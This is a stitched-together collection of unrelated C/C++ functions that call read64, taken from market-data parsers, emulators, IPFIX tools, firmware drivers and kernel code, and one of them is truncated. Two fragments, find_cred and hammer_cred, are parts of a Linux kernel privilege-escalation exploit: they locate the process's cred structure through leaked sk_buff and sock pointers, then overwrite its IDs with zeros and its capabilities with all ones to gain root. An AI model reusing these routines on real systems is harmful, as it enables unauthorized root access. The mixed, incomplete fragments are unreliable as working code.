void ExecutedAtPriceSize(uint64_t seqno, const char *buf) { Id id = read64(buf + 6); Qty qty = read32(buf + 14); Qty leaves_qty = read32(buf + 18); Price price = read64(buf + 30); handler_.ExecutedAtPriceSize(seqno, id, qty, leaves_qty, price); }
bool hololens_sensors_decode_packet(hololens_sensors_packet* pkt, const unsigned char* buffer, int size) { if(size != 497 && size != 381){ LOGE("invalid hololens sensor packet size (expected 497 but got %d)", size); return false; } pkt->id = read8(&buffer); for(int i = 0; i < 4; i++) pkt->temperature[i] = read16(&buffer); for(int i = 0; i < 4; i++) pkt->gyro_timestamp[i] = read64(&buffer); for(int i = 0; i < 3; i++){ for (int j = 0; j < 32; j++) pkt->gyro[i][j] = read16(&buffer); } for(int i = 0; i < 4; i++) pkt->accel_timestamp[i] = read64(&buffer); for(int i = 0; i < 3; i++){ for (int j = 0; j < 4; j++) pkt->accel[i][j] = read32(&buffer); } for(int i = 0; i < 4; i++) pkt->video_timestamp[i] = read64(&buffer); return true; }
void AddExpanded(uint64_t seqno, const char *buf) { Id id = read64(buf + 6); bool bs = buf[14] == 'B' ? true : false; Qty qty = read32(buf + 15); Symbol symbol = readsym8(buf + 19); Price price = read64(buf + 27); handler_.Add(seqno, id, bs, qty, symbol, price); }
void CPU::loadFromBuffer(uint8_t **buffer) { uint8_t *old = *buffer; chipModel = (ChipModel)read8(buffer); // Registers and flags A = read8(buffer); X = read8(buffer); Y = read8(buffer); PC = read16(buffer); PC_at_cycle_0 = read16(buffer); SP = read8(buffer); N = read8(buffer); V = read8(buffer); B = read8(buffer); D = read8(buffer); I = read8(buffer); Z = read8(buffer); C = read8(buffer); // Internal state opcode = read8(buffer); addr_lo = read8(buffer); addr_hi = read8(buffer); ptr = read8(buffer); pc_lo = read8(buffer); pc_hi = read8(buffer); overflow = (bool)read8(buffer); data = read8(buffer); port = read8(buffer); port_direction = read8(buffer); external_port_bits = read8(buffer); rdyLine = (bool)read8(buffer); irqLine = read8(buffer); nmiLine = read8(buffer); nmiEdge = (bool)read8(buffer); interruptsPending = (bool)read8(buffer); nextPossibleIrqCycle = read64(buffer); nextPossibleNmiCycle = read64(buffer); errorState = (ErrorState)read8(buffer); next = CPU::callbacks[read16(buffer)]; for (unsigned i = 0; i < 256; i++) callStack[i] = read16(buffer); callStackPointer = read8(buffer); oldI = read8(buffer); debug(2, " CPU state loaded (%d bytes)\n", *buffer - old); assert(*buffer - old == stateSize()); }
uint64_t WSHyBiFrameHeader::payloadLength() const { uint8_t pl = read(9, 7); switch (pl) { case 126: return read64(16, 16); case 127: return read64(16, 64); default: return pl; } }
static unsigned long find_cred() { uid_t uid = getuid(); unsigned long skbuff = get_skbuff(); /* * struct sk_buff { * [...24 byte offset...] * struct sock *sk; * }; * */ unsigned long sock_addr = read64(skbuff + 24); msg("skbuff => %llx\n", skbuff); msg("Leaking sock struct from %llx\n", sock_addr); if(sock_addr < PHYS_OFFSET){ fail("Failed to find Sock address from sk_buff.\n"); } /* * scan forward for expected sk_rcvtimeo value. * * struct sock { * [...] * const struct cred *sk_peer_cred; * long sk_rcvtimeo; * }; */ for (int i = 0; i < 100; i++, sock_addr += 8) { if(read64(sock_addr) == 0x7FFFFFFFFFFFFFFF) { unsigned long cred_struct = read64(sock_addr - 8); if(cred_struct < PHYS_OFFSET) { continue; } unsigned long test_uid = (read64(cred_struct + 8) & 0xFFFFFFFF); if(test_uid != uid) { continue; } msg("Sock->sk_rcvtimeo at offset %d\n", i * 8); msg("Cred structure at %llx\n", cred_struct); msg("UID from cred structure: %d, matches the current: %d\n", test_uid, uid); return cred_struct; } } fail("failed to find sk_rcvtimeo.\n"); }
__u64 user_read64(struct map_info *map, unsigned long ofs) { CFI_LOCK; temp.u64 = read64(map->map_priv_1 + ofs); CFI_UNLOCK; return (temp.u64); }
__u32 user_read32(struct map_info *map, unsigned long ofs) { CFI_LOCK; temp.u64 = read64(map->map_priv_1 + (ofs & ~ALIGN)); CFI_UNLOCK; return (temp.u32[(ofs & ALIGN) >> 2 ]); }
double PortableFile::read_double() { double value = 0.0; uint64 *u64 = (uint64 *)&value; *u64 = read64(); return value; }
/** * \brief Conversion of signed int */ const char *Translator::toSigned(uint16_t length, uint16_t *ret_len, uint8_t *data_record, uint16_t offset) { // Calculate the length of returned string here to avoid unnecessary strlen later const char *ret = NULL; *ret_len = 0; if(length == BYTE1) { // 1 byte ret = i32toa_branchlut2(read8(data_record + offset), buffer); } else if(length == BYTE2) { // 2 bytes ret = i32toa_branchlut2(ntohs(read16(data_record + offset)), buffer); } else if(length == BYTE4) { // 4 bytes ret = i32toa_branchlut2(ntohl(read32(data_record + offset)), buffer); } else if(length == BYTE8) { // 8 bytes ret = i64toa_branchlut2(be64toh(read64(data_record + offset)), buffer); } else { *ret_len = snprintf(buffer, BUFF_SIZE, "\"unknown\""); return buffer; } *ret_len = ret - buffer; return buffer; }
/** * \brief Read raw data from record */ void Storage::readRawData(uint16_t &length, uint8_t* data_record, uint16_t &offset) { /* Read raw value */ switch (length) { case 1: sprintf(buffer.data(), "%" PRIu16, static_cast<int>(read8(data_record + offset))); break; case 2: sprintf(buffer.data(), "%" PRIu16, ntohs(read16(data_record + offset))); break; case 4: sprintf(buffer.data(), "%" PRIu32, ntohl(read32(data_record + offset))); break; case 8: sprintf(buffer.data(), "%" PRIu64, be64toh(read64(data_record + offset))); break; default: length = this->realLength(length, data_record, offset); if (length * 2 > buffer.capacity()) { buffer.reserve(length * 2 + 1); } for (int i = 0; i < length; i++) { sprintf(buffer.data() + i * 2, "%02x", (data_record + offset)[i]); } record += "0x"; } record += buffer.data(); }
static bool write64A( u32 Offset, u64 Value, u64 CurrentValue ) { if( read64(Offset) != CurrentValue ) return false; write64( Offset, Value ); return true; }
__u8 user_read8(struct map_info *map, unsigned long ofs) { CFI_LOCK; temp.u64 = read64(map->map_priv_1 + (ofs & ~ALIGN)); CFI_UNLOCK; return (temp.u8[ofs & ALIGN]); }
void AddShort(uint64_t seqno, const char *buf) { Id id = read64(buf + 6); bool bs = buf[14] == 'B' ? true : false; Qty qty = read16(buf + 15); Symbol symbol = readsym6(buf + 17); Price price = read16(buf + 23) * 100; handler_.Add(seqno, id, bs, qty, symbol, price); }
/** * Returns the current UART HCLK * * @param uart The UART to operate on * @return The HCLK in Hz */ static size_t uart_hclk(struct cn81xx_uart *uart) { union cn81xx_uart_ctl ctl; const uint64_t sclk = thunderx_get_io_clock(); ctl.u = read64(&uart->uctl_ctl); return sclk / uart_sclk_divisor(ctl.s.h_clkdiv_sel); }
/** * Returns the core clock speed in Hz */ u64 thunderx_get_core_clock(void) { union cavm_rst_boot rst_boot; rst_boot.u = read64((void *)RST_PF_BAR0); return ((u64)rst_boot.s.c_mul) * PLL_REF_CLK; }
/** * \brief Conversion of float */ const char *Translator::toFloat(uint16_t *length, uint8_t *data_record, uint16_t offset) { if(*length == BYTE4) snprintf(buffer, BUFF_SIZE, "%f", (float) ntohl(read32(data_record + offset))); else if(*length == BYTE8) snprintf(buffer, BUFF_SIZE, "%lf", (double) be64toh(read64(data_record + offset))); else snprintf(buffer, BUFF_SIZE, "\"unknown\""); return buffer; }
static void hammer_cred(unsigned long addr) { msg("hammering cred structure at %llx\n", addr); #define w64(w) { write64(addr, (w)); addr += 8; } unsigned long val = read64(addr) & 0xFFFFFFFFUL; w64(val); w64(0); w64(0); w64(0); w64(0); w64(0xFFFFFFFFFFFFFFFF); w64(0xFFFFFFFFFFFFFFFF); w64(0xFFFFFFFFFFFFFFFF); #undef w64 }
/** * Returns the UART state. * * @param bus The UART to operate on * @return Boolean: True if UART is enabled */ int uart_is_enabled(const size_t bus) { struct cn81xx_uart *uart = (struct cn81xx_uart *)UAAx_PF_BAR0(bus); union cn81xx_uart_ctl ctl; assert(uart); if (!uart) return 0; ctl.u = read64(&uart->uctl_ctl); return !!ctl.s.csclk_en; }
s32 sys_spu_thread_read_ls(u32 id, u32 address, vm::ptr<u64> value, u32 type) { sys_spu.Log("sys_spu_thread_read_ls(id=0x%x, address=0x%x, value=*0x%x, type=%d)", id, address, value, type); LV2_LOCK; const auto thread = Emu.GetIdManager().get<SPUThread>(id); if (!thread) { return CELL_ESRCH; } if (address >= 0x40000 || address + type > 0x40000 || address % type) // check range and alignment { return CELL_EINVAL; } const auto group = thread->tg.lock(); if (!group) { throw EXCEPTION("Invalid SPU thread group"); } if ((group->state < SPU_THREAD_GROUP_STATUS_WAITING) || (group->state > SPU_THREAD_GROUP_STATUS_RUNNING)) { return CELL_ESTAT; } switch (type) { case 1: *value = thread->read8(address); break; case 2: *value = thread->read16(address); break; case 4: *value = thread->read32(address); break; case 8: *value = thread->read64(address); break; default: return CELL_EINVAL; } return CELL_OK; }
/** * \brief Conversion of unsigned int */ const char *Translator::toUnsigned(uint16_t length, uint16_t *ret_len, uint8_t *data_record, uint16_t offset, const ipfix_element_t * element, struct json_conf * config) { // Calculate the length of returned string here to avoid unnecessary strlen later const char *ret = NULL; *ret_len = 0; if(length == BYTE1) { // 1 byte if(element->en == 0 && element->id == 6 && config->tcpFlags) { // Formated TCP flags ret = formatFlags8(read8(data_record + offset)); *ret_len = 8; return ret; } else if (element->en == 0 && element->id == 4 && !config->protocol) { // Formated protocol identification (TCP, UDP, ICMP,...) ret = (formatProtocol(read8(data_record + offset))); *ret_len = strlen(ret); return ret; } else { // Other elements ret = u32toa_branchlut2(read8(data_record + offset), buffer); } } else if(length == BYTE2) { // 2 bytes if (element->en == 0 && element->id == 6 && config->tcpFlags) { // Formated TCP flags ret = formatFlags16(read16(data_record + offset)); *ret_len = 8; return ret; } else { // Other elements ret = u32toa_branchlut2(ntohs(read16(data_record + offset)), buffer); } } else if(length == BYTE4) { // 4 bytes ret = u32toa_branchlut2(ntohl(read32(data_record + offset)), buffer); } else if(length == BYTE8) { // 8 bytes ret = u64toa_branchlut2(be64toh(read64(data_record + offset)), buffer); } else { // Other sizes *ret_len = snprintf(buffer, BUFF_SIZE, "%s", "\"unknown\""); return buffer; } *ret_len = ret - buffer; return buffer; }
void C64::loadFromBuffer(uint8_t **buffer) { uint8_t *old = *buffer; debug(2, "Loading internal state...\n"); // Load state of this component warp = read8(buffer); alwaysWarp = read8(buffer); warpLoad = read8(buffer); cycles = read64(buffer); frame = (int)read32(buffer); rasterline = (int)read16(buffer); rasterlineCycle = (int)read32(buffer); nanoTargetTime = read64(buffer); // Load state of sub components cpu->loadFromBuffer(buffer); vic->loadFromBuffer(buffer); sid->loadFromBuffer(buffer); cia1->loadFromBuffer(buffer); cia2->loadFromBuffer(buffer); mem->loadFromBuffer(buffer); keyboard->loadFromBuffer(buffer); joystick1->loadFromBuffer(buffer); joystick2->loadFromBuffer(buffer); iec->loadFromBuffer(buffer); expansionport->loadFromBuffer(buffer); floppy->loadFromBuffer(buffer); debug(2, " C64 state loaded (%d bytes)\n", *buffer - old); assert(*buffer - old == stateSize()); ping(); }
void VirtualComponent::loadFromBuffer(uint8_t **buffer) { uint8_t *old = *buffer; debug(3, " Loading internal state (%d bytes) ...\n", VirtualComponent::stateSize()); // Load internal state of sub components if (subComponents != NULL) for (unsigned i = 0; subComponents[i] != NULL; i++) subComponents[i]->loadFromBuffer(buffer); // Load own internal state void *data; size_t size; int flags; for (unsigned i = 0; snapshotItems != NULL && snapshotItems[i].data != NULL; i++) { data = snapshotItems[i].data; flags = snapshotItems[i].flags & 0x0F; size = snapshotItems[i].size; if (flags == 0) { // Auto detect size switch (snapshotItems[i].size) { case 1: *(uint8_t *)data = read8(buffer); break; case 2: *(uint16_t *)data = read16(buffer); break; case 4: *(uint32_t *)data = read32(buffer); break; case 8: *(uint64_t *)data = read64(buffer); break; default: readBlock(buffer, (uint8_t *)data, size); } } else { // Format is specified manually switch (flags) { case BYTE_FORMAT: readBlock(buffer, (uint8_t *)data, size); break; case WORD_FORMAT: readBlock16(buffer, (uint16_t *)data, size); break; case DOUBLE_WORD_FORMAT: readBlock32(buffer, (uint32_t *)data, size); break; case QUAD_WORD_FORMAT: readBlock64(buffer, (uint64_t *)data, size); break; default: assert(0); } } } if (*buffer - old != VirtualComponent::stateSize()) { panic("loadFromBuffer: Snapshot size is wrong."); assert(false); } }
static char* websocket_payload_size(int sd, char* ptr, const struct frame_header* header, size_t* size){ *size = header->plen1; if ( header->plen1 == 126 ){ uint16_t tmp; ptr = read16(sd, ptr, &tmp); *size = tmp; } if ( header->plen1 == 127 ){ uint64_t tmp; ptr = read64(sd, ptr, &tmp); *size = tmp; } return ptr; }
acpi_status acpi_os_read_memory(acpi_physical_address phys_addr, u64 *value, u32 width) { void __iomem *virt_addr; unsigned int size = width / 8; bool unmap = false; u64 dummy; rcu_read_lock(); virt_addr = acpi_map_vaddr_lookup(phys_addr, size); if (!virt_addr) { rcu_read_unlock(); virt_addr = acpi_os_ioremap(phys_addr, size); if (!virt_addr) return AE_BAD_ADDRESS; unmap = true; } if (!value) value = &dummy; switch (width) { case 8: *(u8 *) value = readb(virt_addr); break; case 16: *(u16 *) value = readw(virt_addr); break; case 32: *(u32 *) value = readl(virt_addr); break; case 64: *(u64 *) value = read64(virt_addr); break; default: BUG(); } if (unmap) iounmap(virt_addr); else rcu_read_unlock(); return AE_OK; }
/** * \brief Get field value * * \param[in] rec Data record * \param[in] field_id Field ID * \return field value (or zero if not found) */ uint64_t stats_field_val(ipfix_record *rec, int field_id) { int dataSize = 0; uint8_t *data = data_record_get_field((uint8_t*) rec->record, rec->templ, 0, field_id, &dataSize); /* Field not found */ if (!data) { return 0; } /* Convert value to host byte order */ switch (dataSize) { case 1: return read8(data); case 2: return ntohs(read16(data)); case 4: return ntohl(read32(data)); case 8: return be64toh(read64(data)); default: return 0; } }
/** * \brief Conversion of signed int */ const char *Translator::toSigned(uint16_t *length, uint8_t *data_record, uint16_t offset) { if(*length == BYTE1) { // 1 byte snprintf(buffer, BUFF_SIZE, "%" PRId8, (int8_t) read8(data_record + offset)); } else if(*length == BYTE2) { // 2 bytes snprintf(buffer, BUFF_SIZE, "%" PRId16, (int16_t) ntohs(read16(data_record + offset))); } else if(*length == BYTE4) { // 4 bytes snprintf(buffer, BUFF_SIZE, "%" PRId32, (int32_t) ntohl(read32(data_record + offset))); } else if(*length == BYTE8) { // 8 bytes snprintf(buffer, BUFF_SIZE, "%" PRId64, (int64_t) be64toh(read64(data_record + offset))); } else { snprintf(buffer, BUFF_SIZE, "\"unknown\""); } return buffer; }
/* Returns 0 if SOT ok, otherwise 1. */ int test_sot(void) { if (pkt_len!=25) return 1; if (pkt[4]!=0) return 1; bps=read64(pkt+9); cls(); if (tickers<2) { g0t0(0,8); printf("Output to %s",filename); g0t0(40,0); printf("%lld bytes per second.",bps); } payload_len=read32(pkt+17); if (tickers<2) { g0t0(0,0); printf("Payload length %ld bytes.",payload_len); flush }
/** * \brief Read raw data from record */ void Storage::readRawData(uint16_t &length, uint8_t* data_record, uint16_t &offset) { /* Read raw value */ switch (length) { case 1: sprintf(buffer.data(), "%" PRIu16, static_cast<int>(read8(data_record + offset))); break; case 2: sprintf(buffer.data(), "%" PRIu16, ntohs(read16(data_record + offset))); break; case 4: sprintf(buffer.data(), "%" PRIu32, ntohl(read32(data_record + offset))); break; case 8: sprintf(buffer.data(), "%" PRIu64, be64toh(read64(data_record + offset))); break; default: length = this->realLength(length, data_record, offset); if (length == 0) { STR_APPEND(record, "null"); return; } if (length * 2 > buffer.capacity()) { buffer.reserve(length * 2 + 1); } /* Start the string with 0x and print the rest in hexa */ strncpy(buffer.data(), "0x", 3); for (int i = 0; i < length; i++) { sprintf(buffer.data() + i * 2 + 2, "%02x", (data_record + offset)[i]); } } record += '"'; record += buffer.data(); record += '"'; }
void user_copy_from(struct map_info *map, void *to, unsigned long from, ssize_t len) { /* long held lock? Oh well. */ CFI_LOCK; while(len) { unsigned long i; unsigned long extra = len; if (len > 8) extra = 8; temp.u64 = read64(map->map_priv_1 + from); for (i = 0; i < extra; i++) *(char *)(to + i) = temp.u8[i]; to += extra; from += extra; len -= extra; } CFI_UNLOCK; //memcpy(to, (void *)(map->map_priv_1 + from), len); }